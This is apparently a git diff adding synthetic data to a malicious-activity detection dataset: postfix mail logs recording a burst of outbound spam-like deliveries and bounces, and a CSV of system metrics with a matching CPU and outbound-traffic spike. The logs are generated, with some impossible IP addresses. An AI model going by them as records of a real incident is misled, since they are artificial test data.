+Jul 02 12:06:50 mail-server-3 postfix/smtp[10629]: 312F8AC7: to=, relay=76.169.191.57[76.169.191.57]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 312F8AC7) +Jul 02 12:06:50 mail-server-3 postfix/smtp[14776]: 1EA327A7: to=, relay=159.120.104.104[159.120.104.104]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1EA327A7) +Jul 02 12:06:50 mail-server-3 postfix/smtp[13617]: 450AF8A2: to=, relay=238.143.12.199[238.143.12.199]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 450AF8A2) +Jul 02 12:06:50 mail-server-3 postfix/smtp[17532]: C912862B: to=, relay=21.66.47.151[21.66.47.151]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C912862B) +Jul 02 12:06:50 mail-server-3 postfix/smtp[17424]: 9347309D: to=, relay=15.0.203.104[15.0.203.104]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9347309D) +Jul 02 12:06:50 mail-server-3 postfix/smtp[19122]: E07D6628: to=, relay=118.199.248.228[118.199.248.228]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E07D6628) +Jul 02 12:06:55 mail-server-3 postfix/smtp[16122]: D0F58367: to=, relay=167.148.166.206[167.148.166.206]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D0F58367) +Jul 02 12:06:55 mail-server-3 postfix/smtp[15086]: 332F5C73: to=, relay=200.88.131.180[200.88.131.180]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 332F5C73) +Jul 02 12:06:55 mail-server-3 postfix/smtp[13074]: F19B796E: to=, relay=244.1.38.45[244.1.38.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F19B796E) +Jul 02 12:06:55 mail-server-3 postfix/smtp[19270]: B89DE485: to=, relay=226.142.195.172[226.142.195.172]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B89DE485) +Jul 02 12:06:55 mail-server-3 postfix/smtp[17726]: E775EBA6: to=, relay=158.12.199.106[158.12.199.106]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E775EBA6) +Jul 02 12:07:00 mail-server-3 postfix/smtp[18635]: DAFA9FF6: to=, relay=179.75.159.222[179.75.159.222]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DAFA9FF6) +Jul 02 12:07:00 mail-server-3 postfix/smtp[11567]: 467C0D2D: to=, relay=169.233.9.82[169.233.9.82]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 467C0D2D) +Jul 02 12:07:00 mail-server-3 postfix/smtp[11299]: 258CA5C0: to=, relay=117.184.160.64[117.184.160.64]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 258CA5C0) +Jul 02 12:07:00 mail-server-3 postfix/smtp[17297]: A952EEE3: to=, relay=199.59.2.95[199.59.2.95]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A952EEE3) +Jul 02 12:07:00 mail-server-3 postfix/smtp[18771]: 2B89CD21: to=, relay=12.206.189.121[12.206.189.121]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2B89CD21) +Jul 02 12:07:00 mail-server-3 postfix/smtp[14514]: 6AD2CF8E: to=, relay=101.174.73.176[101.174.73.176]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6AD2CF8E) +Jul 02 12:07:00 mail-server-3 postfix/smtp[18651]: 144F1232: to=, relay=135.111.158.254[135.111.158.254]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 144F1232) +Jul 02 12:07:00 mail-server-3 postfix/smtp[16176]: B6068191: to=, relay=15.159.153.129[15.159.153.129]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B6068191) +Jul 02 12:07:05 mail-server-3 postfix/smtp[13310]: BD65DBB2: to=, relay=93.95.102.63[93.95.102.63]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BD65DBB2) +Jul 02 12:07:05 mail-server-3 postfix/smtp[17633]: 3608BA01: to=, relay=22.209.131.36[22.209.131.36]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 3608BA01) +Jul 02 12:07:05 mail-server-3 postfix/smtp[19155]: 38F524FF: to=, relay=155.102.203.158[155.102.203.158]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 38F524FF) +Jul 02 12:07:05 mail-server-3 postfix/smtp[12836]: 665756B8: to=, relay=181.34.192.25[181.34.192.25]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 665756B8) +Jul 02 12:07:10 mail-server-3 postfix/smtp[19653]: 4CE68C2D: to=, relay=128.157.185.96[128.157.185.96]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 4CE68C2D) +Jul 02 12:07:10 mail-server-3 postfix/smtp[17454]: 91CAA286: to=, relay=160.9.196.28[160.9.196.28]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 91CAA286) +Jul 02 12:07:10 mail-server-3 postfix/smtp[16884]: 8D972E59: to=, relay=131.80.167.196[131.80.167.196]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8D972E59) +Jul 02 12:07:10 mail-server-3 postfix/smtp[19595]: 22DBB732: to=, relay=219.210.115.237[219.210.115.237]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 22DBB732) +Jul 02 12:07:10 mail-server-3 postfix/smtp[14085]: D0C80488: to=, relay=23.45.245.198[23.45.245.198]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D0C80488) +Jul 02 12:07:10 mail-server-3 postfix/smtp[17835]: 1209DF6B: to=, relay=35.21.10.45[35.21.10.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1209DF6B) +Jul 02 12:07:10 mail-server-3 postfix/smtp[17337]: A9903854: to=, relay=247.61.118.30[247.61.118.30]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A9903854) +Jul 02 12:07:10 mail-server-3 postfix/smtp[14077]: F9160995: to=, relay=6.195.147.43[6.195.147.43]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F9160995) +Jul 02 12:07:10 mail-server-3 postfix/bounce[23644]: CE640ED0: sender non-delivery notification: CE640ED0 +Jul 02 12:07:10 mail-server-3 postfix/smtp[23644]: CE640ED0: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:07:15 mail-server-3 postfix/smtp[18126]: B81075C4: to=, relay=218.130.143.242[218.130.143.242]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B81075C4) +Jul 02 12:07:15 mail-server-3 postfix/smtp[16334]: DCDE548F: to=, relay=30.251.193.208[30.251.193.208]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DCDE548F) +Jul 02 12:07:15 mail-server-3 postfix/smtp[19042]: 6646615C: to=, relay=233.194.3.177[233.194.3.177]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6646615C) +Jul 02 12:07:15 mail-server-3 postfix/smtp[11987]: 5B7C84DB: to=, relay=16.15.33.26[16.15.33.26]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5B7C84DB) +Jul 02 12:07:15 mail-server-3 postfix/smtp[19764]: 9270B535: to=, relay=60.246.122.141[60.246.122.141]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9270B535) +Jul 02 12:07:20 mail-server-3 postfix/smtp[13488]: D4D28547: to=, relay=115.136.240.76[115.136.240.76]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D4D28547) +Jul 02 12:07:20 mail-server-3 postfix/smtp[13685]: 8FA13A17: to=, relay=132.139.78.128[132.139.78.128]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8FA13A17) +Jul 02 12:07:20 mail-server-3 postfix/smtp[12873]: F6B2F102: to=, relay=24.2.241.40[24.2.241.40]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F6B2F102) +Jul 02 12:07:20 mail-server-3 postfix/smtp[12115]: 2BE56472: to=, relay=255.116.36.139[255.116.36.139]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2BE56472) +Jul 02 12:07:20 mail-server-3 postfix/smtp[14227]: 0EB0CC8F: to=, relay=158.222.1.10[158.222.1.10]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0EB0CC8F) +Jul 02 12:07:20 mail-server-3 postfix/smtp[10437]: 1A368C44: to=, relay=191.176.193.105[191.176.193.105]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1A368C44) +Jul 02 12:07:20 mail-server-3 postfix/smtp[15228]: 23F8D65A: to=, relay=64.195.82.136[64.195.82.136]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 23F8D65A) +Jul 02 12:07:20 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:07:25 mail-server-3 postfix/smtp[11293]: 533FEB10: to=, relay=104.183.170.186[104.183.170.186]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 533FEB10) +Jul 02 12:07:25 mail-server-3 postfix/smtp[15316]: BE04167A: to=, relay=4.204.91.143[4.204.91.143]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BE04167A) +Jul 02 12:07:25 mail-server-3 postfix/smtp[16271]: CD250A4D: to=, relay=188.238.71.11[188.238.71.11]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CD250A4D) +Jul 02 12:07:25 mail-server-3 postfix/smtp[15283]: 505155E3: to=, relay=222.52.97.212[222.52.97.212]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 505155E3) +Jul 02 12:07:25 mail-server-3 postfix/smtp[17506]: 13A26292: to=, relay=88.225.114.83[88.225.114.83]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 13A26292) +Jul 02 12:07:25 mail-server-3 postfix/smtp[11045]: B3A773B5: to=, relay=106.163.126.216[106.163.126.216]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B3A773B5) +Jul 02 12:07:25 mail-server-3 postfix/smtp[12529]: 382D6C87: to=, relay=180.90.191.254[180.90.191.254]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 382D6C87) +Jul 02 12:07:25 mail-server-3 postfix/smtp[12226]: 43C06CEE: to=, relay=255.152.140.154[255.152.140.154]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 43C06CEE) +Jul 02 12:07:25 mail-server-3 postfix/bounce[24716]: 529BDFE7: sender non-delivery notification: 529BDFE7 +Jul 02 12:07:25 mail-server-3 postfix/smtp[24716]: 529BDFE7: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) diff --git a/mali_dataset/scenario_5/mali_5_18.csv b/mali_dataset/scenario_5/mali_5_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..4e820e8628cbec8dfac81bc5a29996bcf66d54af --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T14:30:00Z,14.81,42.71,5.84,1.87,2.42 +2025-08-12T14:30:05Z,11.57,43.43,6.18,1.36,3.41 +2025-08-12T14:30:10Z,10.42,42.95,7.91,2.87,3.06 +2025-08-12T14:30:15Z,15.74,41.88,13.88,1.47,1.69 +2025-08-12T14:30:20Z,19.11,42.81,6.14,2.77,1.8 +2025-08-12T14:30:25Z,18.2,43.7,5.31,2.54,1.89 +2025-08-12T14:30:30Z,15.7,41.91,11.03,1.73,2.75 +2025-08-12T14:30:35Z,14.3,41.23,7.8,2.48,3.73 +2025-08-12T14:30:40Z,15.05,43.2,14.98,2.03,2.16 +2025-08-12T14:30:45Z,16.21,43.84,8.13,2.37,3.85 +2025-08-12T14:30:50Z,15.89,41.95,13.88,1.37,1.73 +2025-08-12T14:30:55Z,13.46,43.25,7.85,1.22,2.34 +2025-08-12T14:31:00Z,10.28,43.9,12.81,1.15,2.89 +2025-08-12T14:31:05Z,12.71,43.8,10.3,1.1,2.94 +2025-08-12T14:31:10Z,10.41,43.91,7.31,2.01,3.76 +2025-08-12T14:31:15Z,16.73,41.66,11.41,1.49,2.79 +2025-08-12T14:31:20Z,15.23,41.74,14.32,1.8,2.1 +2025-08-12T14:31:25Z,16.86,43.41,9.98,1.58,2.58 +2025-08-12T14:31:30Z,12.41,43.81,10.12,2.85,3.96 +2025-08-12T14:31:35Z,19.11,43.46,9.15,2.05,2.82 +2025-08-12T14:31:40Z,13.78,42.26,6.01,2.08,3.84 +2025-08-12T14:31:45Z,12.82,41.2,5.5,2.35,3.01 +2025-08-12T14:31:50Z,12.33,42.14,13.81,2.74,2.39 +2025-08-12T14:31:55Z,18.87,43.14,14.97,1.69,1.61 +2025-08-12T14:32:00Z,15.69,42.92,5.82,2.55,1.75 +2025-08-12T14:32:05Z,58.23,43.83,6.56,0.92,31.69 +2025-08-12T14:32:10Z,40.91,42.14,8.41,2.38,32.77 +2025-08-12T14:32:15Z,72.73,44.52,5.13,1.93,28.75 +2025-08-12T14:32:20Z,64.76,44.99,8.69,2.22,20.34 +2025-08-12T14:32:25Z,67.79,41.26,6.89,2.01,26.28 +2025-08-12T14:32:30Z,71.43,40.7,8.63,2.39,28.62 +2025-08-12T14:32:35Z,59.95,40.77,3.02,2.11,23.65 +2025-08-12T14:32:40Z,34.06,43.39,3.96,2.14,33.1 +2025-08-12T14:32:45Z,28.43,40.02,6.05,2.15,24.54 +2025-08-12T14:32:50Z,33.4,43.43,6.4,2.08,24.16 +2025-08-12T14:32:55Z,42.36,43.42,8.3,1.83,23.52 +2025-08-12T14:33:00Z,40.46,42.37,8.78,2.35,19.84 +2025-08-12T14:33:05Z,46.59,40.29,7.88,0.82,29.02 +2025-08-12T14:33:10Z,59.31,40.29,7.48,0.93,34.62 +2025-08-12T14:33:15Z,46.89,40.32,8.51,2.28,26.67 +2025-08-12T14:33:20Z,72.67,40.7,8.44,1.26,30.52 +2025-08-12T14:33:25Z,59.97,42.77,3.27,1.64,28.33 +2025-08-12T14:33:30Z,43.59,40.85,3.89,0.94,25.36 +2025-08-12T14:33:35Z,67.85,44.77,7.33,1.19,27.83 +2025-08-12T14:33:40Z,38.6,44.56,6.69,2.05,32.68 +2025-08-12T14:33:45Z,53.11,44.27,6.66,2.46,28.49 +2025-08-12T14:33:50Z,56.43,43.03,5.73,2.01,23.52 +2025-08-12T14:33:55Z,35.66,42.37,4.84,1.55,21.36 +2025-08-12T14:34:00Z,49.89,41.03,4.67,1.01,18.32 +2025-08-12T14:34:05Z,50.71,40.61,5.96,1.57,20.74 +2025-08-12T14:34:10Z,38.05,44.28,6.45,1.61,29.89 +2025-08-12T14:34:15Z,44.5,41.08,3.18,1.17,27.96 +2025-08-12T14:34:20Z,72.21,42.67,7.22,1.05,28.56 +2025-08-12T14:34:25Z,68.93,41.36,4.17,1.82,27.85 +2025-08-12T14:34:30Z,66.17,43.22,8.77,1.81,34.82 +2025-08-12T14:34:35Z,68.5,40.17,8.0,0.87,25.7 +2025-08-12T14:34:40Z,52.61,40.7,6.63,2.44,26.36 +2025-08-12T14:34:45Z,52.72,43.85,7.29,2.29,32.88 +2025-08-12T14:34:50Z,54.46,43.31,4.0,1.66,31.27 +2025-08-12T14:34:55Z,53.16,40.8,6.57,2.43,18.49 +2025-08-12T14:35:00Z,43.45,43.25,8.21,0.84,26.61 +2025-08-12T14:35:05Z,29.29,44.39,6.02,1.67,20.24 +2025-08-12T14:35:10Z,54.57,44.57,6.49,1.95,31.3 +2025-08-12T14:35:15Z,48.49,42.93,6.51,1.2,28.0 +2025-08-12T14:35:20Z,46.19,43.76,4.91,1.83,31.11 +2025-08-12T14:35:25Z,45.24,40.52,4.13,0.94,20.31 +2025-08-12T14:35:30Z,47.83,44.28,6.98,0.86,23.75 +2025-08-12T14:35:35Z,71.61,41.44,5.43,1.86,19.59 +2025-08-12T14:35:40Z,52.1,40.75,6.63,0.87,21.85 +2025-08-12T14:35:45Z,50.82,41.99,4.94,1.18,25.71 +2025-08-12T14:35:50Z,32.97,44.22,3.18,2.28,19.09 +2025-08-12T14:35:55Z,41.65,43.31,5.39,2.42,33.64 +2025-08-12T14:36:00Z,28.8,40.87,6.32,0.87,21.11 +2025-08-12T14:36:05Z,35.14,40.95,7.81,2.23,19.75 +2025-08-12T14:36:10Z,58.2,40.87,5.86,0.97,31.34 +2025-08-12T14:36:15Z,43.37,44.3,5.99,1.06,30.6 +2025-08-12T14:36:20Z,39.02,40.75,3.48,1.19,23.64 +2025-08-12T14:36:25Z,52.28,41.04,6.86,1.66,34.77 +2025-08-12T14:36:30Z,57.42,42.86,5.4,1.14,19.49 +2025-08-12T14:36:35Z,52.25,44.29,5.73,1.6,29.19 +2025-08-12T14:36:40Z,15.04,41.04,10.9,2.8,3.66 +2025-08-12T14:36:45Z,19.29,43.07,11.94,2.39,3.05 +2025-08-12T14:36:50Z,12.82,42.87,13.22,1.04,3.33 +2025-08-12T14:36:55Z,11.86,41.19,10.74,2.25,2.33 +2025-08-12T14:37:00Z,10.25,42.65,8.11,1.28,2.55 +2025-08-12T14:37:05Z,19.61,42.9,13.97,2.05,2.02 +2025-08-12T14:37:10Z,13.32,43.84,12.0,1.88,2.53 +2025-08-12T14:37:15Z,13.83,43.14,6.52,1.92,3.18 +2025-08-12T14:37:20Z,17.03,43.04,14.64,1.35,3.79 +2025-08-12T14:37:25Z,12.71,43.07,5.06,2.12,2.08 diff --git a/mali_dataset/scenario_5/mali_5_18.log b/mali_dataset/scenario_5/mali_5_18.log new file mode 100644 index 0000000000000000000000000000000000000000..f6da7af794e32670aaa4c6240a0121bf78f487d8 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_18.log @@ -0,0 +1,362 @@ +Aug 12 14:30:00 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:30:00 mail-server-prod CRON[8274]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:30:00 mail-server-prod postfix/qmgr[5306]: AD65F3C161: from=, size=1636, nrcpt=1 (queue active) +Aug 12 14:30:30 mail-server-prod postfix/qmgr[5821]: 689858AE70: from=, size=1963, nrcpt=1 (queue active) +Aug 12 14:31:00 mail-server-prod postfix/qmgr[5304]: 5C8F39772C: from=, size=1894, nrcpt=1 (queue active) +Aug 12 14:31:15 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:31:30 mail-server-prod postfix/qmgr[5879]: 671684EA2C: from=, size=1294, nrcpt=1 (queue active) +Aug 12 14:32:00 mail-server-prod postfix/qmgr[5057]: EA64A249A9: from=, size=1901, nrcpt=1 (queue active) +Aug 12 14:32:05 mail-server-prod CRON[8554]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:32:05 mail-server-prod postfix/smtp[11268]: AB2D586FE6: to=, relay=mx.junkmail.net[192.168.23.245]:25, delay=1.76, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[13952]: 9BEA632657: to=, relay=mx.getrichquick.info[192.168.175.212]:25, delay=1.8, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[10571]: C0FA4339C8: to=, relay=mx.getrichquick.info[192.168.222.190]:25, delay=2.36, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[11009]: D3D4F9B408: to=, relay=mx.randomsite.biz[192.168.127.161]:25, delay=2.13, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[12643]: 3F94CF71F4: to=, relay=mx.example.com[192.168.156.198]:25, delay=3.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[14815]: 2A995F47C0: to=, relay=mx.junkmail.net[192.168.237.222]:25, delay=3.86, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:05 mail-server-prod postfix/smtp[13868]: 6B3A335742: to=, relay=mx.spamtarget.org[192.168.223.60]:25, delay=5.0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:10 mail-server-prod postfix/smtp[11614]: 8649E2830E: to=, relay=mx.getrichquick.info[192.168.229.135]:25, delay=4.65, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:10 mail-server-prod postfix/smtp[12475]: B6D9B6B501: to=, relay=mx.junkmail.net[192.168.6.212]:25, delay=1.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:10 mail-server-prod postfix/smtp[12321]: B05EA8935D: to=, relay=mx.junkmail.net[192.168.117.91]:25, delay=1.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:10 mail-server-prod postfix/smtp[11477]: 0E59530246: to=, relay=none, delay=0.4, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:10 mail-server-prod postfix/smtp[13721]: 3D89B9B0FF: to=, relay=mx.spamtarget.org[192.168.190.150]:25, delay=4.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[13807]: 75E0A5C9AF: to=, relay=none, delay=0.32, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:15 mail-server-prod postfix/smtp[11246]: DADD9CC9A5: to=, relay=mx.phish-victim.com[192.168.105.201]:25, delay=4.26, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[14134]: C20CA27F2D: to=, relay=none, delay=0.35, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:15 mail-server-prod postfix/smtp[12816]: 639615DE24: to=, relay=mx.junkmail.net[192.168.149.218]:25, delay=1.31, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[14897]: 95F97DA292: to=, relay=mx.junkmail.net[192.168.147.222]:25, delay=1.61, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[10301]: C1369FE294: to=, relay=mx.getrichquick.info[192.168.229.12]:25, delay=2.47, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[11256]: 8BACB471F2: to=, relay=mx.junkmail.net[192.168.250.70]:25, delay=3.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:15 mail-server-prod postfix/smtp[11098]: 6D708AD507: to=, relay=mx.junkmail.net[192.168.249.120]:25, delay=3.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:20 mail-server-prod postfix/smtp[10110]: 0968735F24: to=, relay=none, delay=0.21, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:20 mail-server-prod postfix/smtp[12071]: 82F0B52EA8: to=, relay=mx.randomsite.biz[192.168.51.150]:25, delay=4.13, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:20 mail-server-prod postfix/smtp[13894]: 19FF4A1326: to=, relay=mx.getrichquick.info[192.168.194.152]:25, delay=2.52, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:20 mail-server-prod postfix/smtp[12845]: CCF752C8DF: to=, relay=none, delay=0.43, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:32:20 mail-server-prod postfix/smtp[14582]: 5E5B10CF87: to=, relay=mx.getrichquick.info[192.168.103.156]:25, delay=1.3, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:20 mail-server-prod postfix/smtp[11601]: E475520157: to=, relay=mx.phish-victim.com[192.168.22.211]:25, delay=2.27, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:20 mail-server-prod postfix/smtp[12937]: DCE19F2536: to=, relay=mx.junkmail.net[192.168.85.166]:25, delay=4.22, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:25 mail-server-prod postfix/smtp[12850]: C54B9AF1FD: to=, relay=none, delay=0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:32:25 mail-server-prod postfix/smtp[14565]: 6A4ACFE059: to=, relay=mx.getrichquick.info[192.168.4.132]:25, delay=1.96, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:25 mail-server-prod postfix/smtp[11413]: 71D32ABD3A: to=, relay=none, delay=0.49, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=getrichquick.info type=A: Host not found) +Aug 12 14:32:25 mail-server-prod postfix/smtp[12431]: 092A182A9A: to=, relay=mx.spamtarget.org[192.168.219.127]:25, delay=2.43, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:25 mail-server-prod postfix/smtp[10394]: 6F0FDE0876: to=, relay=mx.randomsite.biz[192.168.126.236]:25, delay=4.18, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:25 mail-server-prod postfix/smtp[14172]: 9E1439BB11: to=, relay=mx.randomsite.biz[192.168.41.214]:25, delay=3.02, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:25 mail-server-prod postfix/smtp[10344]: D9107D70F3: to=, relay=none, delay=0.11, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:32:30 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:32:30 mail-server-prod postfix/smtp[11733]: 08EC7CC281: to=, relay=none, delay=0.13, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:32:30 mail-server-prod postfix/smtp[13212]: C3DD63FB9C: to=, relay=mx.example.com[192.168.78.171]:25, delay=2.64, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:30 mail-server-prod postfix/smtp[14055]: 9EC0968870: to=, relay=mx.fakedomain.co.uk[192.168.192.18]:25, delay=2.53, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:30 mail-server-prod postfix/smtp[14640]: 6D2E61BA79: to=, relay=mx.example.com[192.168.243.8]:25, delay=1.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:30 mail-server-prod postfix/smtp[13215]: CF6D9F864A: to=, relay=mx.phish-victim.com[192.168.40.95]:25, delay=4.83, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:30 mail-server-prod postfix/smtp[13576]: B0E3FD5164: to=, relay=mx.randomsite.biz[192.168.15.87]:25, delay=2.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:30 mail-server-prod postfix/smtp[12517]: 7A91751F9F: to=, relay=mx.example.com[192.168.254.114]:25, delay=4.88, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:35 mail-server-prod postfix/smtp[12893]: 46A70EF911: to=, relay=mx.phish-victim.com[192.168.202.99]:25, delay=2.22, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:32:35 mail-server-prod 